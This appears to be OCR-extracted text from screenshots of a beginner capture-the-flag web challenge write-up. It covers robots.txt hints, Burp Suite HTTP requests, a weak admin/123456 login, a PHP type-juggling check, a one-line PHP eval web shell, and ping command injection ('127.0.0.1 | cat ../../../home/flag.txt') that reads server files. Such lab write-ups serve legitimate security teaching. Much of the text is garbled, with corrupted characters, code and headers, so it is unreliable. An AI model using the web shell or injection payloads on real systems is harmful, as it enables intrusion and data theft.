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<html lang="en”;
<head>

{meta charset="UTF-8">

{title>Where is the FLAG</title>
</head>
<body>
{script’>
document. oncontextmenu=new Function(“return false”)
document. onselectstart=new Function(“return false”)
{/script>

<h1>FLAG is not here</hl>
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User—agent: *
Disallow:
Disallow: flag 1s h3re. php
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|<html>
<head>

<meta charset="UTF-8">
<title>&FH 3 {4 < ftitle>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css” rel="stylesheet" />

<style>
body({

margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;

}
</style>
</head>
<body>

<h3>{REliEindex phpf&EH {82087 </h3>

<?php

F:flag: "Cyberpeace{855A1C4B3401204CB6604CCCO8BDE334}" |
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</body>
</html>
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GET / HTTP/1.1

Host: 111.195.29.45:54013

Proxy-Connection: keep-alive

Upgrade-Insecure-PRequests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.3€
Accept: text/html,application/xhtml+xml, application/xml;g=0.9, image/wvebp, image/apng, */ *;q=0.8,application/signed-exchanges;v=b3;q=0.9
Acecept-Encoding: gzip, deflate
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Send to Spider

Do an active scan

Send to Intruder Ctrl+l
Send to Repeater Ctrl+R

Send to Sequencer
Send to Comparer
Send to Decoder

Reguest in browser

Engagement tools >

Change request method
Change body encoding

Copy URL

Copy as curl command

Copy to file

Paste from file

Save item

Dont intercept requests >

Do intercept Response to this request

Convert selection 3

URL-encode as you type

Cut Cirl+X
Copy Ctrl+C
Paste Ctri+\

Message editor help
Proxy interception help g
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HTTR/1.1 200 OK
Date: Hon, D& Apr ZDZ0 14:IZZ2:0& GHT
Server: Apache/2.4.7 (Ubuntu)
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Content-Length: 411
Concent-Type: textc/homl

O<hemis>
<head>
<meta chacrser="UTF-8">
<title>Cookie</title>
<link href="hetp://libas.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css™ rel=s"scylesheet™ />
“gryles
bhody{
margin-left:auto :
margin-right:anto;
margin-TOF : 200PX ;
width: 20em;
¥
</sryle>
</ head:»
<pody>
<hi>See the hitp responze</hix
</body>
</ html>
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Login

username
password

login

reset
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Login

admin
123456

login

reset
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{?php
show_source( FILE ):
include ("config. php”) :
$a=@$_GET[ a’ |;
$b=@$_GET[' b’ 1;
if($a==0 and $a) {
echo $flagl:

if(is_numeric ($b)) {
exit(:

}
if($b>1234) {

echo $flag2:
}

?>
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< ?php

show_source(__FILE ):

include ("config. php”) ;

$a=03_GET['a’ ];

$b=03% GET['b’ ];

if($a==0 and 8a){
echo $flagl:

if(is_numeric($h)) {
exit();

if(3hy1234) {
echo §flag2;
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GET / HTTF/1.1

Host: 111.198.29.45:42282

Proxy-Connection: keep-aliwve

Upgrade-Insscure-Requests: 1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; =x64) AppleWebKit/537.36 (KHTML, like Gecko) Chroms/80.0.3987.163 Safari/537.36
Aceoept: text/html, application/xhtml+uml, application/xml;q=0.9, image/w=hp, image/apng, */ *;¢=0.8, application/signed-exchange; v=h3;=0.9
Accept-Encoding: gzip, deflate

Accept-Language: zh-CM, zh;qg=0.9,en;gq=0.8
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Host: 111.198.29.45:42282

Proxy-Connection: keep-alive

Upgrade-Insecure—-Requests: 1

User-Agent: Mozilla/5.0 (Vindows NT 10.0:; Winf4: x€4) AppleWebKit/537.3€ (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html, application/xhtml+4wml, application/xml;=0.9, image/webhp, image/apng, */*;=0.8, application/signed-exchangs;v=h3;q=0.9
Aocept-Encoding: gzip, deflate

Accept-Languags: zh-CH,zh;q=0.9,en;q=0.8
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<?php @eval($_POST['shell]);?>
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shell]);?>

<?php @eval($_POST]|
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PING

BT EpingRItELE

PING

B e BA1Seping— T EIF#14£127.0.0.1

ping -c 3 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.8.1: icmp_seq=1|ttl=64 time=0.060 ms
64 bytes from 127.0.06.1: icmp_seq=2|ttl=64 fime=06.0850 ms
64 bytes from 127.0.8.1: icmp_seqg=3|ttl=64 fime=86.851 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = ©.050/0.053/0.0860,/0.009 ms
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PING

127.0.0.1 | Is ../../../home

PING

IsH)E BAFIW BRI, PR | FSHEERAPIT | FEKFZME, NHITHERZAE, BEZE, Kiiflag
RIRTE B



PING

127.0.0.1 | Is ../../../nome

PING

pIRE <€ = 127 . Bon. 1 | 15 .. 7. .7.. . faone
flag.txt
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PING

127.0.0.1 | cat ../../../[home/flag.txt

PING

BRI 15 2lflag

ping -c 3 127.0.0.1 | cat ../../../home/flag.txt
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